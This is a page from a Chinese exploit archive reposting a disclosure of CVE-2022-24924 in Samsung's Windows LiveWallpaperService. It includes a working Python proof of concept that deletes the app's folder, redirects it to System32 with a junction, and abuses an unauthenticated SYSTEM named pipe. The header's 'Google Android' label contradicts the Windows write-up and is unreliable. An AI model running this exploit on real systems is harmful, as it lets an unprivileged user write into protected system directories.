目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2022-24924 PoC — Google Android 安全漏洞

来源
关联漏洞
标题: Google Android 安全漏洞 (CVE-2022-24924)
Description:Google Android是美国谷歌(Google)公司的一套以Linux为基础的开源操作系统。 Google Android 存在安全漏洞,该漏洞源于允许在没有适当权限的情况下创建特定的命名系统目录。
Description
An improper access control in LiveWallpaperService prior to versions 3.0.9.0 allows to create a specific named system directory without a proper permission.
介绍
# Improper access control vulnerability in LiveWallpaperService CVE-2022-24924(SVE-2021-24089)

Windows version tested: Windows 10 20H2 (Build 19042.1348) 64bit

Live Wallpaper Version: 3.0.9.0 or earlier

There is a LiveWallpaperService that works by default in Samsung laptops, but there was a vulnerability that created the SYSTEM directory in a directory with SYSTEM privileges in the SYSTEM service.

Live Wallpaper is usually installed by default on Samsung laptops, but it is also an app available from the Microsoft Store. The app can be run with User permission and communicates between the server and the client through Named PIPE IPC. At this time, the PIPE Server is operating with SYSTEM privileges and does not check which the clients are.

The following is the operation process performed when the corresponding app is launched.

Server is '33;' Upon receiving the unicode string, it accesses the 'C:\Users\{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8' folder and checks the existence of the LiveWallpaperData directory. A new file system directory is created in the directory with the name 'LiveWallpaperData'.

Named PIPE is used to communicate with each other between processes. Since there is no separate client inspection, the attacker can directly open it and send the desired data.

First, after opening Named PIPE directly, create a directory junction to C:\Windows\System32 using symboliclink-testing-tools produced by james forshaw. It is created as a subdirectory of the System32 directory with privileges.

Here is the PoC for that vulnerability.

In order to perform PoC, the following conditions must be met:

1. Basically, LiveWallpaperService must be running in Windows.
2. The CreateMountPoint.exe executable file and DeleteMountPoint.exe executable file built using the symboliclink-testing-tools produced by james forshaw must exist in the same directory as the PoC.

```python
# python 3.7.2
import os
import shutil
import time
import getpass

def stringToWstring(st : str) -> str:
    result = ''
    for i in st:
        result += i+'\x00'
    return result

def main():
    # current user name
    username = getpass.getuser()

    # path settings
    path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
    path2 = 'C:\\Windows\\System32'

    # delete directory
    if os.path.isdir(path1):
        shutil.rmtree(path1)

    # create directory junction
    command = f'CreateMountPoint.exe "{path1}" "{path2}"'
    os.system(command)

    # write data to named pipe
    with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
        f.write(stringToWstring('33;'))

    # IPC delay time
    time.sleep(2)

    # directory check
    if os.path.isdir(path2+'\\LiveWallpaperData'):
        print('[+] Success')
    else:
        print('[-] failed')

    # delete directory junction
    command = f'DeleteMountPoint.exe {path1}'
    os.system(command)
    shutil.rmtree(path1)

if __name__=='__main__':
    main()
```



https://user-images.githubusercontent.com/57859128/166858916-1f0b9f9a-6935-452d-8b38-18828beace0f.mp4

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →